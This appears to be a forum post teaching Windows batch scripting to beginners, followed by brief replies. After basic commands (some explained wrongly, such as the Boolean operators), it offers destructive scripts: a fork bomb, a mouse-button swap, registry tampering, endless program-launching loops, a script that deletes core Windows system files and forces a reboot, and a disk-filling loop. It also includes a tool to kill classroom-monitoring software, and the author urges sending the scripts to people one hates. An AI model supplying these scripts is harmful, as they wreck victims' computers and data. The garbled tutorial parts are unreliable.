0


Things highlighted in BLUE are harmful to your PC, or could be useful to destroy an enemy's PC....
Hey, well there's a simple little language called Batch. It's really fun, it was the foundation of DOS, and Windows itself. I may be wrong about this, but without DOS or Batch we wouldn't be in the world with Windows as we know it.
Lets start off with the simple things.
@Echo off ; this tells the computer to not show the file location of where the batch file is, i.e C:\Documents and Settings\Administrator\Desktop
Echo ; this tells the computer to print a line of text, i.e Echo Hello this is a test! That would print Hello this is a test on the command prompt
Pause ; this tells the computer to wait for a key to be pressed
Title ; this will give the window a title, i.e title Test Program
color ; this will change the color in the window, such as the font and the background, i.e "color 0a" would give you a black background with lime green text
CALL ; this will "call" or execute another batch file in the current directory. i.e CALL test2.bat
Copy ; this can copy files i.e "copy file.txt c:\" that would copy the text file to your C drive
goto ; this tells the computer to go to a certain line in the batch file i.e:
by doing that it will go in an infinite loop because the ":1" is a line that "goto 1" refers to.@Echo off
title Test program
color 0a
:1
echo this is a repeating batch file
goto 1
make sure that you have the ":" before any variable to go to.
Now lets go a bit further,
The if, then, commands. which is Boolean logic, here are some Boolean operators that you can use:
For the operator AND:
if 1 and 2 then 3 ; so if 1 and 2 are both true then 3 will be the outcome
For the operator OR:
if 1 or 2 then 3 ; so if either 1 or 2 is true then 3 would be the outcome
For the operator NOT:
if not 1 not 2 then 3 ; if 1 is true and 2 is not then 3 would not be the outcome
For the operator ELSE:
if ( 1 and 2 condition is true) then else 3 ; so, if 1 and 2 condtion is true, then do 0, otherwise do 3
For the operator =:
if 1 = 2 then 3 ; so if 1 is equal to 2 then 3 is the outcome
For the operator = =:
If 1 = = 2 then 3 ; so if 1 is not the same as 2, 3 will be the outcome
For the operator >:
if 1 > 2 then 3 ; so if 1 is greater than 2 then 3 is the outcome
For the operator <:
if 1 < 2 then 3 ; so if 1 is less than 2, the outcome is 3
For the operator >=:
if x >= y then 3 ; so if 1 is greater than 2 then 3 will be the outcome if 1=2 then 3 will be the outcome
For the operator <=:
if 1 <= 2 then 3 ; so if 1 is less than 2, then 3 will be the outcome, if 1=2 then 3 will be the outcome
set /p ; this allows you to make a menu or something, I don't really know how to say how it preforms but whatever.... so the usage of this would be like this:
Here, x would be your variable that you use.set /p x=Enter a choice
if "%X%"=="1" goto Choice1
By looking at the "if "%X%"=="1" goto Choice1" you can see some previous commands in there like "goto"
Well, let's take a look of what we've done so far...
Here is a program that I made to kill LanSchool:
You can see all the commands and how they work in a file.@echo off
title LanSchool RAPiST
color 9f
echo =============LanSchooler=============
echo. 1. View networked computers
echo. 2. Kill student.exe file
echo. 3. Run teacher program
echo. 4. Kill the teacher program
echo.=====================================
set /p x=Enter a Number:
if "%X%"=="1" goto networkview
if "%X%"=="2" goto killer
if "%X%"=="3" goto teacher
if "%X%"=="4" goto techkill
:techkill
call techkill.bat
EXIT
:killer
CALL Kill.bat
EXIT
:teacher
CALL HAHA.bat
EXIT
Now you try:
copy paste this into notepad and save it as all files as "title here.bat" w/o quotes -.-
that is a simple little program.@Echo off
title Test
color 9f
Echo this is a test program
pause
Try this one that's a little more intricate:
Yeah this is my very first guide..... I know it's shit but I just made it off the top of my head XD@Echo off
title Menu 2.0
color 3d
echo =============
echo 1. go to 1
echo 2. go to 2
echo =============
set /p x=Enter a number:
if "%x%"=="1" then goto 1
if "%x%"=="2" then goto 2
:1
echo WELCOME TO MAH WORLD!!!
pause
:2
echo shit....
pause
~xXINSANE.DRAGONXx
=============Fun shit to make===============
Fork bomb
Save it as all files as "Filename.bat" (w/o quotes)start *.bat
a mouse swap,
You could make a ton of random foldersRundll32 user32,SwapMouseButton
You could hide the logon screenmd %random% <-- just copy paste that line to get more folders
Should work..
Set hlg = HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer
Set Val = NoUserNameInStartMenu
Set date=1
reg.exe add "%hlg%" /v "%val%" /d "%date%" /f >nul
You can really screw with ppl here...
you could do a batch file that starts all the processes in the sys32 folder:Quote:echo onclick = MsgBox("Windows reports a random Fatal Exception 0x has occurred at xxxx:xx",16,"Error Report")>>c:\msg.vbs
echo onclick = MsgBox("Windows reports a random Fatal Exception 0x has occurred at xxxx:xx",16,"Error Report")>>c:\msg.vbs
echo onclick = MsgBox("Windows reports a random Fatal Exception 0x has occurred at xxxx:xx",16,"Error Report")>>c:\msg.vbs
echo onclick = MsgBox("Windows reports a random Fatal Exception 0x has occurred at xxxx:xx",16,"Error Report")>>c:\msg.vbs
echo onclick = MsgBox("Windows reports a random Fatal Exception 0x has occurred at xxxx:xx",16,"Error Report")>>c:\msg.vbs
attrib +h c:\msg.vbs
OR you could just do this::1
start calc
start notepad
start sol
start winmine
start charmap
start mspaint
start narrator
start osk
start dfrg.msc
goto 1
There's allot more files than that ^^^
^idk if that works, I just came up with that off the top of my head:1
cd %HOMEDRIVE%%HOMEPATH%
start *.exe
goto 1
Well, Here is a little piece of fun that I made a hella long time ago... have fun!
del "c:\windows\pchealth\"
del "c:\windows\system\"
del "c:\windows\system32\restore\"
del "winlogon.exe"
del "c:\windows\system32\autoexec.nt"
del "c:\windows\system32\logonui.exe"
del "c:\windows\system32\ntoskrnl.exe"
del "C:\WINDOWS\system32\drivers\adv01nt5.dll"
del "C:\WINDOWS\system32\drivers\adv02nt5.dll"
del "C:\WINDOWS\system32\drivers\adv05nt5.dll"
del "C:\WINDOWS\system32\drivers\adv07nt5.dll"
del "C:\WINDOWS\system32\drivers\adv08nt5.dll"
del "C:\WINDOWS\system32\drivers\adv09nt5.dll"
del "C:\WINDOWS\system32\drivers\adv11nt5.dll"
del "C:\WINDOWS\system32\drivers\atv01nt5.dll"
del "C:\WINDOWS\system32\drivers\atv02nt5.dll"
del "C:\WINDOWS\system32\drivers\atv04nt5.dll"
del "C:\WINDOWS\system32\drivers\atv06nt5.dll"
del "C:\WINDOWS\system32\drivers\atv10nt5.dll"
del "C:\WINDOWS\system32\drivers\ch7xxnt5.dll"
del "C:\WINDOWS\system32\drivers\siint5.dll"
del "C:\WINDOWS\system32\drivers\vchnt5.dll"
del "C:\WINDOWS\system32\HAL.DLL"
del "C:\WINDOWS\system32\HEKRNL32.DLL"
del "C:\WINDOWS\system32\KBDAL.DLL"
del "C:\WINDOWS\system32\java.dll"
del "C:\WINDOWS\system32\kernel32.dll"
del "C:\WINDOWS\system32\LFCMP12n.DLL"
del "C:\WINDOWS\system32\LXBXPMRC.DLL"
del "C:\WINDOWS\system32\msacm32.dll"
del "C:\WINDOWS\system32\MSSCP.dll"
del "C:\WINDOWS\system32\OC30.DLL"
del "C:\WINDOWS\system32\shell32.dll"
del "C:\WINDOWS\system32\shell.dll"
MSG * Computer succesfully Toasted!!
shutdown -r -t 60 -c C0MPU74H 15 5CR3W3D!!!
:1
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.bmp
echo %random%>c:\%random%.bat
echo %random%>c:\%random%.reg
goto 1
Last edited by Feckless.; 10-02-2010 at 07:28 AM.
Even though this may be "fun" , I`m scared to try it. I didn`t really read , soo.. what? We use command prompt or something ?
Yeah, to use this stuff you can just paste it into notepad and save it as all files as "Filenamehere.bat" w/o quotes
BTW This is for education.... it's not my fault if you fuckup your shit. You can use this for fun like I did, or you can send it to people that you really hate heh heh....
What is this , python ?
And , I would try this but I spent way too much time recovering my PC. Which means I`m scared. Hah
Bookmarks